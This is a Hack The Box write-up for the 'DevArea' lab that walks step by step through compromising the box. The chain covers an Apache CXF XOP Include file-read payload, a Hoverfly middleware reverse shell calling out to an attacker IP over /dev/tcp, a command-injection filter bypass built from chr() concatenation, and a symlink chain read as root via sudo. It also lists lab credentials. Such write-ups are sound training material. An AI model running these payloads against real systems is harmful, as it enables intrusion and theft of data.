HTB DevArea writeup
A technical writeup for educational use, covering only the authorized, isolated Hack The Box lab.
Summary
Section titled “Summary”DevArea was a Linux / Medium box that combined several web services. An anonymous FTP share provided the JAR implementing a Java SOAP service. Abusing Apache CXF XOP/MTOM processing enabled an arbitrary file read, which exposed Hoverfly administrator credentials in its startup options. Command execution through Hoverfly middleware then yielded a shell as dev_ryan. For privilege escalation, an SSH tunnel provided access to the SysWatch administration interface. Command injection in the systemctl call made by service-status created a symlink chain under /opt/syswatch/logs. Finally, a flaw in the symlink check of syswatch.sh logs, which dev_ryan could run with sudo, allowed /root/root.txt to be read as root.
Box Info
Section titled “Box Info”| Item | Value |
|---|---|
| Box | DevArea |
| Platform | Hack The Box |
| OS | Linux |
| Difficulty | Medium |
Attack Chain
Section titled “Attack Chain”anonymous FTP -> /pub/employee-service.jar -> Java SOAP service / Apache CXF / /employeeservice -> XOP Include file read -> /etc/systemd/system/hoverfly.service -> Hoverfly admin:O7IJ27MyyXiU -> Hoverfly middleware command execution -> shell as dev_ryan -> /etc/syswatch.env + syswatch-v1.zip -> SSH tunnel to localhost:7777 -> SysWatch login as admin -> service-status command injection -> create /opt/syswatch/logs/root.txt -> /root/root.txt -> create /opt/syswatch/logs/pwn.log -> root.txt -> sudo /opt/syswatch/syswatch.sh logs pwn.log as root -> read root flagTarget and nmap
Section titled “Target and nmap”/etc/hosts:
10.129.244.208 devarea.htbThe nmap command used:
nmap -sS -A -p- --min-rate 10000 10.129.244.208 > devarea.nmapKey results:
PORT STATE SERVICE VERSION21/tcp open ftp vsftpd 3.0.5| ftp-anon: Anonymous FTP login allowed (FTP code 230)|_drwxr-xr-x 2 ftp ftp 4096 Sep 22 2025 pub22/tcp open ssh OpenSSH 9.6p1 Ubuntu 3ubuntu13.1580/tcp open http Apache httpd 2.4.58|_http-title: Did not follow redirect to http://devarea.htb/8080/tcp open http Jetty 9.4.27.v202002278500/tcp open http Golang net/http server|_ This is a proxy server. Does not respond to non-proxy requests.8888/tcp open http Golang net/http server|_http-title: Hoverfly DashboardKey observations:
- Anonymous FTP login was enabled, making the contents of
pubthe first place to investigate. - Port 8080 ran Jetty, suggesting a Java/SOAP application.
- Ports 8500 and 8888 matched a Hoverfly setup: 8888 hosted the management UI/API, while 8500 was the proxy.
- Port 80 served a static Apache site; directory enumeration revealed no further attack surface.
Web and FTP enumeration
Section titled “Web and FTP enumeration”Vhost fuzzing found no valid subdomains.
ffuf -u http://devarea.htb -H "Host: FUZZ.devarea.htb" \ -w /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-20000.txt -ac:: Progress: [19966/19966] :: Job [1/1] :: 214 req/sec :: Duration: [0:01:36] :: Errors: 0 ::Feroxbuster on port 80 found only assets for the static site.
feroxbuster -u http://devarea.htb \ -w /usr/share/wordlists/seclists/Discovery/Web-Content/DirBuster-2007_directory-list-2.3-medium.txt -d 1200 GET 22211c http://devarea.htb/index200 GET 22211c http://devarea.htb/index.html301 GET http://devarea.htb/assets => http://devarea.htb/assets/FTP allowed anonymous login.
ftp anonymous@devarea.htb230 Login successful.ftp> cd pubftp> ls -la-rw-r--r-- 1 ftp ftp 6445030 Sep 22 2025 employee-service.jarftp> get employee-service.jar6445030 bytes receivedThis JAR implemented the Java service on port 8080.
JAR review and SOAP endpoint
Section titled “JAR review and SOAP endpoint”Opening employee-service.jar in jadx-gui revealed a SOAP service in the htb.devarea package.
@WebService(name = "EmployeeService", targetNamespace = "http://devarea.htb/")public interface EmployeeService { String submitReport(Report report);}ServerStarter exposed /employeeservice on port 8080.
JaxWsServerFactoryBean factory = new JaxWsServerFactoryBean();factory.setServiceClass(EmployeeService.class);factory.setServiceBean(new EmployeeServiceImpl());factory.setAddress("http://0.0.0.0:8080/employeeservice");factory.create();Check the WSDL.
curl -i http://devarea.htb:8080/employeeservice?wsdl<wsdl:operation name="submitReport"> <wsdl:input message="tns:submitReport" name="submitReport"/> <wsdl:output message="tns:submitReportResponse" name="submitReportResponse"/></wsdl:operation><soap:address location="http://devarea.htb:8080/employeeservice"/>submitReport returned Report.content unchanged. If an external reference could be placed in content, the response would include the file contents it read.
Apache CXF XOP/MTOM file read
Section titled “Apache CXF XOP/MTOM file read”My local notes identified this as CVE-2024-28752, but the actual payload for this box used href processing in an XOP:Include / MTOM request, so CVE-2022-46364 is the more appropriate classification. CVE-2024-28752 is an SSRF specific to Aegis DataBinding; the default databinding is reportedly unaffected.
body.txt:
--asdfContent-Type: application/xop+xml; charset=UTF-8; type="text/xml"Content-Transfer-Encoding: 8bitContent-ID: <root>
<soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"> <soap:Body> <ns2:submitReport xmlns:ns2="http://devarea.htb/"> <arg0> <confidential>true</confidential> <content><inc:Include href="file:///etc/systemd/system/hoverfly.service" xmlns:inc="http://www.w3.org/2004/08/xop/include"/></content> <department>IT</department> <employeeName>John Smith</employeeName> </arg0> </ns2:submitReport> </soap:Body></soap:Envelope>--asdf--Send the request.
curl -X POST http://devarea.htb:8080/employeeservice \ -H 'Content-Type: multipart/related; type="application/xop+xml"; boundary="asdf"' \ --data-binary @body.txtThe return field in the response contained base64.
Content: W1VuaXRdCkRlc2NyaXB0aW9uPUhvdmVyRmx5IHNlcnZpY2UK...Decoding it revealed the Hoverfly systemd unit.
echo 'W1VuaXRdCkRlc2NyaXB0aW9uPUhvdmVyRmx5IHNlcnZpY2UK...' | base64 -d[Service]User=dev_ryanGroup=dev_ryanWorkingDirectory=/opt/HoverFlyExecStart=/opt/HoverFly/hoverfly -add -username admin -password O7IJ27MyyXiU -listen-on-host 0.0.0.0This established that:
- Hoverfly ran as
dev_ryan. - The Hoverfly management API credentials were
admin:O7IJ27MyyXiU.
Reading /etc/passwd the same way showed that dev_ryan was the regular user with a login shell.
dev_ryan:x:1001:1001::/home/dev_ryan:/bin/bashsyswatch:x:984:984::/opt/syswatch:/usr/sbin/nologinHoverfly RCE to dev_ryan
Section titled “Hoverfly RCE to dev_ryan”First, obtain a token.
curl -X POST 'http://devarea.htb:8888/api/token-auth' \ -H 'Content-Type: application/json' \ -H 'Accept: application/json' \ --data '{"username":"admin", "password": "O7IJ27MyyXiU"}'{"token":"eyJhbGciOiJIUzUxMiIsInR5cCI6IkpXVCJ9..."}Configure a reverse shell in the middleware. Either a bearer token or Basic authentication worked.
curl -X PUT 'http://devarea.htb:8888/api/v2/hoverfly/middleware' \ -H 'Content-Type: application/json' \ -H 'Authorization: Bearer <token>' \ -d '{"binary": "bash", "script": "bash -i >& /dev/tcp/10.10.16.45/4444 0>&1"}'On the listening side:
nc -lvnp 4444Once connected, upgrade the TTY.
python3 -c 'import pty; pty.spawn("/bin/bash")'dev_ryan@devarea:/opt/HoverFly$ls -la ~cat ~/user.txt-rw-r----- 1 root dev_ryan 33 Jun 30 15:12 user.txtLocal enumeration as dev_ryan
Section titled “Local enumeration as dev_ryan”Check sudo privileges.
sudo -lUser dev_ryan may run the following commands on devarea: (root) NOPASSWD: /opt/syswatch/syswatch.sh, !/opt/syswatch/syswatch.sh web-stop, !/opt/syswatch/syswatch.sh web-restartThe syswatch.sh subcommands other than web-stop and web-restart could be run as root. ACLs prevented dev_ryan from reading /opt/syswatch.
ls -la /optls -la /opt/syswatchdrwxr-xr-x+ 8 root root 4096 Mar 22 18:55 syswatchls: cannot open directory '/opt/syswatch': Permission deniedHowever, dev_ryan had syswatch-v1.zip in their home directory, which could be used to inspect the SysWatch web UI and the implementation of service-status.
-rw-r--r-- 1 root root 20260 Dec 14 2025 syswatch-v1.zipNetwork enumeration showed port 7777 listening on localhost.
ss -antLISTEN 0 128 127.0.0.1:7777 0.0.0.0:*LISTEN 0 4096 *:8888 *:*LISTEN 0 4096 *:8500 *:*A SysWatch timer also showed that root ran monitor.sh.
cat /etc/systemd/system/syswatch-monitor.service[Unit]Description=SysWatch Monitor Runner
[Service]Type=oneshotUser=rootGroup=rootEnvironmentFile=/etc/syswatch.envExecStart=/bin/bash /opt/syswatch/monitor.sh/etc/syswatch.env was readable.
cat /etc/syswatch.envSYSWATCH_SECRET_KEY=f3ac48a6006a13a37ab8da0ab0f2a3200d8b3640431efe440788beaefa236725SYSWATCH_ADMIN_PASSWORD=SyswatchAdmin2026SYSWATCH_LOG_DIR=/opt/syswatch/logsSYSWATCH_DB_PATH=/opt/syswatch/syswatch_gui/syswatch.dbSYSWATCH_PLUGIN_DIR=/opt/syswatch/pluginsSYSWATCH_BACKUP_DIR=/opt/syswatch/backupSYSWATCH_VERSION=1.0.0This file mattered for two reasons: SYSWATCH_ADMIN_PASSWORD could allow access to the web UI, and SYSWATCH_SECRET_KEY could be used to sign a Flask session if login failed.
SysWatch web access
Section titled “SysWatch web access”The SysWatch web UI listened only on port 7777 of localhost, so forward the port over an SSH connection as dev_ryan.
ssh -i /tmp/devarea_key -L 7777:127.0.0.1:7777 -N -f dev_ryan@devarea.htbLog in with the administrator password from /etc/syswatch.env and save the session in a cookie jar.
curl -i -c cookies.txt \ -X POST http://127.0.0.1:7777/login \ -d 'username=admin' \ -d 'password=SyswatchAdmin2026'HTTP/1.1 302 FOUNDSet-Cookie: session=...Location: /For subsequent curl requests, specify the cookie directly. To extract it from cookies.txt into a variable, use:
SESSION=$(awk '$6 == "session" {print $7}' cookies.txt)Command injection in service-status
Section titled “Command injection in service-status”service-status accepted a service parameter and appended it to systemctl status with shell=True.
SAFE_SERVICE = re.compile(r"^[^;/\&.<>\rA-Z]*$")
def service_status(): service = request.form.get("service", "").strip() if not service or not SAFE_SERVICE.match(service): error = "Invalid service name" else: res = subprocess.run( [f"systemctl status --no-pager {service}"], shell=True, capture_output=True, text=True, timeout=10 )The denylist blocked /, ;, &, ., <, >, uppercase letters, and other characters, but allowed |, spaces, quotes, +, (, and ). This made a command such as systemctl status --no-pager | whoami possible.
curl -s -b "session=$SESSION" http://127.0.0.1:7777/service-status \ -X POST --data-urlencode 'service=| whoami'syswatchThe command ran as syswatch, the user running the web UI.
Root flag via symlink chain
Section titled “Root flag via symlink chain”To read the root flag, use command injection as syswatch to create a two-link symlink chain under /opt/syswatch/logs, then run syswatch.sh logs through dev_ryan’s sudo privileges. syswatch.sh logs <file> ran as root.
The view_logs symlink handling extracted and checked only the first link target using ls -l | awk '{print $NF}'.
if [ -L "$path" ]; then target=$(ls -l "$path" | awk '{print $NF}')
if [[ "$target" == *"/"* || "$target" == *".."* || "$target" == *"\\"* ]]; then echo "[Blocked unsafe symlink target]: $file -> $target" return 1 fi
if [[ "$target" =~ ^[A-Za-z0-9_.-]+$ ]]; then local resolved="$LOG_DIR/$target" if [ -f "$resolved" ]; then cat "$resolved" return fi fifiThe intended layout was:
/opt/syswatch/logs/pwn.log -> root.txt/opt/syswatch/logs/root.txt -> /root/root.txtThe immediate target of pwn.log was root.txt, which contained no / and passed the check. The script then ran cat "$LOG_DIR/root.txt"; cat followed the second symlink and read /root/root.txt.
However, the service-status regex blocked / and ., so Python code could not be passed directly. Build a chr() concatenation expression locally to remove the blocked characters from the submitted value.
Payload to create the first symlink:
payload=$(python3 - <<'PY'cmd = 'import os; os.symlink("/root/root.txt", "/opt/syswatch/logs/root.txt")'print('+'.join(f'chr({ord(c)})' for c in cmd))PY)
curl -s -b "session=$SESSION" http://127.0.0.1:7777/service-status \ -X POST --data-urlencode "service=| python3 -c 'exec($payload)'"Payload to create the second symlink:
payload=$(python3 - <<'PY'cmd = 'import os; os.symlink("root.txt", "/opt/syswatch/logs/pwn.log")'print('+'.join(f'chr({ord(c)})' for c in cmd))PY)
curl -s -b "session=$SESSION" http://127.0.0.1:7777/service-status \ -X POST --data-urlencode "service=| python3 -c 'exec($payload)'"Finally, read logs with sudo from the dev_ryan shell.
sudo /opt/syswatch/syswatch.sh logs pwn.log[REDACTED]This achieved a root-privileged file read and retrieved the root flag. A root shell was unnecessary.
Alternative: signed session cookie
Section titled “Alternative: signed session cookie”If login with the administrator password failed, an alternative was to sign a Flask session cookie using SYSWATCH_SECRET_KEY from /etc/syswatch.env. This changed only the way into the same web UI.
This alternative still required access to localhost:7777, so establish the SSH tunnel as dev_ryan as in the main path. Keep the private key at /tmp/devarea_key on the attacking machine, and append only its public key to /home/dev_ryan/.ssh/authorized_keys on the target. There was no need to place the private key on the target.
On the attacking machine:
ssh-keygen -t ed25519 -f /tmp/devarea_key -N ''chmod 600 /tmp/devarea_keyIn the dev_ryan shell:
mkdir -p ~/.sshecho '<contents of /tmp/devarea_key.pub>' >> ~/.ssh/authorized_keyschmod 700 ~/.sshchmod 600 ~/.ssh/authorized_keysEstablish the tunnel from the attacking machine.
ssh -i /tmp/devarea_key -L 7777:127.0.0.1:7777 -N -f dev_ryan@devarea.htbflask-unsign --sign \ --cookie '{"user_id": 1, "username": "admin"}' \ --secret f3ac48a6006a13a37ab8da0ab0f2a3200d8b3640431efe440788beaefa236725eyJ1c2VyX2lkIjoxLCJ1c2VybmFtZSI6ImFkbWluIn0...Use this value as the session cookie, then continue with the same POST requests to service-status as in the main path.
References
Section titled “References”- NVD CVE-2022-46364: https://nvd.nist.gov/vuln/detail/CVE-2022-46364
- NVD CVE-2024-28752: https://nvd.nist.gov/vuln/detail/CVE-2024-28752
Rabbit Holes and Dead Ends
Section titled “Rabbit Holes and Dead Ends”- The site on port 80 looked polished, but its links and directory enumeration revealed no useful attack surface.
- Vhost fuzzing also yielded nothing.
- The
service-statusinput filter blocked/and., so an ordinary Python one-liner could not be passed directly. Usingchr()concatenation reliably removed those characters from the submitted value. - If login with the administrator password failed, signing a Flask session cookie with
SYSWATCH_SECRET_KEYprovided another way in. monitor.shlooked promising because root ran plugins regularly, but/opt/syswatch/pluginswas owned by root and was not writable bysyswatch.- LinPEAS listed possible kernel CVEs, but they were unnecessary for the intended solution to this box.
Cleanup Notes
Section titled “Cleanup Notes”Items to remove or restore:
- The reverse shell configured in Hoverfly middleware.
- The SSH port forwarding process.
- Temporary cookies such as
cookies.txtandSESSION. - The
/opt/syswatch/logs/pwn.logand/opt/syswatch/logs/root.txtsymlinks.
Credentials and Artifacts
Section titled “Credentials and Artifacts”Host: devarea.htbIP: 10.129.244.208User: dev_ryanHoverfly: admin / O7IJ27MyyXiUSysWatch Flask secret: f3ac48a6006a13a37ab8da0ab0f2a3200d8b3640431efe440788beaefa236725SysWatch env admin password: SyswatchAdmin2026User flag path: /home/dev_ryan/user.txtRoot flag path: /root/root.txtRequired Knowledge
Section titled “Required Knowledge”Required knowledge:
- nmap, FTP, and web enumeration
- Decompiling a Java JAR and reading SOAP/WSDL
- Apache CXF XOP/MTOM SSRF / file read
- The Hoverfly management API and middleware configuration
- SSH port forwarding to a localhost-only web UI
- shell metacharacter filter bypass
- Reading files as root through a flawed symlink check
Final Thought
Section titled “Final Thought”The key to this box was less the individual vulnerabilities than turning each file found into the credentials needed for the next step. Finding the WSDL endpoint in the JAR, reading the systemd unit through the file-read flaw, and extracting credentials from the startup options formed a reproducible sequence. Later, a localhost-only management UI, shell=True with a weak denylist, and a check limited to the first symlink combined to allow a root-privileged file read. Readable configuration files, localhost services, helper scripts that run with sudo, and symlink handling were the four things to check.

